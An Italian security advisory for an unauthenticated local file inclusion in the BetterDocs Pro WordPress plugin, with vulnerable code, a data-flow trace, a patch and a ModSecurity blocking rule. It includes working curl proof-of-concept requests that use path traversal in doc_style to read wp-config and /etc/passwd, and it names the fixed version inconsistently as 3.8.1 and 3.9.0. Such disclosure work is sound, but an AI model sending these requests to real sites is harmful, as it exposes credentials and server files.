
Inclusione Locale di File non autenticata
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-7515 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Interessato | BetterDocs Pro <= 3.8.0 |
| Corretto | 3.8.1 |
| Ricercatore | Nguyen Ngoc Duc (duc193) |
| Pubblicato | 18 Giugno 2026 |
| CWE | CWE-98: Controllo Inadeguato del Nome File per Istruzioni Include/Require |
Il plugin BetterDocs Pro per WordPress è vulnerabile a Inclusione Locale di File nelle versioni fino alla 3.8.0 inclusa tramite il parametro doc_style. Ciò consente a attaccanti non autenticati di includere ed eseguire file PHP arbitrari sul server.
File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Riga: 141
// CODICE VULNERABILE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
Problema: L'input controllato dall'utente da $_POST['doc_style'] viene utilizzato direttamente senza alcuna validazione.
File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Riga: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
Problema: La variabile $doc_style (controllata dall'utente) viene interpolata direttamente nel percorso file passato a views->get(), che include il file.
Richiesta HTTP POST
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
NESSUNA VALIDAZIONE (versione vulnerabile 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
Inclusione file tramite include() o require()
↓
Esecuzione di Codice PHP Arbitrario / Lettura File
// Riga 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Riga 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Entrambi gli endpoint si registrano con hook nopriv, il che significa che sono accessibili a utenti non autenticati:
// Riga 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Riga 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce valido (trovato nel sorgente della pagina nelle pagine con il blocco BetterDocs Encyclopedia)# Step 1: Leggere wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Step 2: Leggere /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
Il nonce encyclopedia_nonce è esposto in JavaScript sulle pagine in cui è renderizzato il blocco BetterDocs Encyclopedia:
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- Questo è ciò che serve
};
Aggiornare a BetterDocs Pro versione 3.8.1 o successiva
Applicare la seguente patch a includes/Core/Encyclopedia.php:
// Sostituire la riga 141 con:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Applicare la stessa correzione alla riga 236.
Aggiungere una regola per bloccare il path traversal nel parametro doc_style:
# Blocca doc_style con pattern di path traversal
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'Tentativo LFI Bloccato'"
Versione Vulnerabile: betterdocs-pro_3.8.0.zip
Versione Corretta: betterdocs-pro_3.9.0.zip
File Chiave:
- includes/Core/Encyclopedia.php (VULNERABILE)
- includes/Core/Scripts.php (Contiene generazione nonce)
- includes/Utils/Views.php (Logica di inclusione file)
| Aspetto | Vulnerabile (3.8.0) | Corretta (3.8.1) |
|---|
| Validazione | Nessuna | Lista bianca con in_array() |
| Valori consentiti | Qualsiasi stringa | Solo doc-grid, doc-list, doc-list-2 |
| Controllo del tipo | No | Confronto stretto (===) |
| Tipo di Impatto | Gravità | Descrizione |
|---|
| Confidenzialità | ALTO | Leggere file arbitrari (wp-config.php, /etc/passwd, ecc.) |
| Integrità | ALTO | Modificare o eliminare file |
| Disponibilità | ALTO | Denial of Service |
| Vettore di Accesso | Rete | Sfruttabile da remoto |
| Privilegi | Nessuno | Nessuna autenticazione richiesta |
| Interazione Utente | Nessuna | Non richiesta |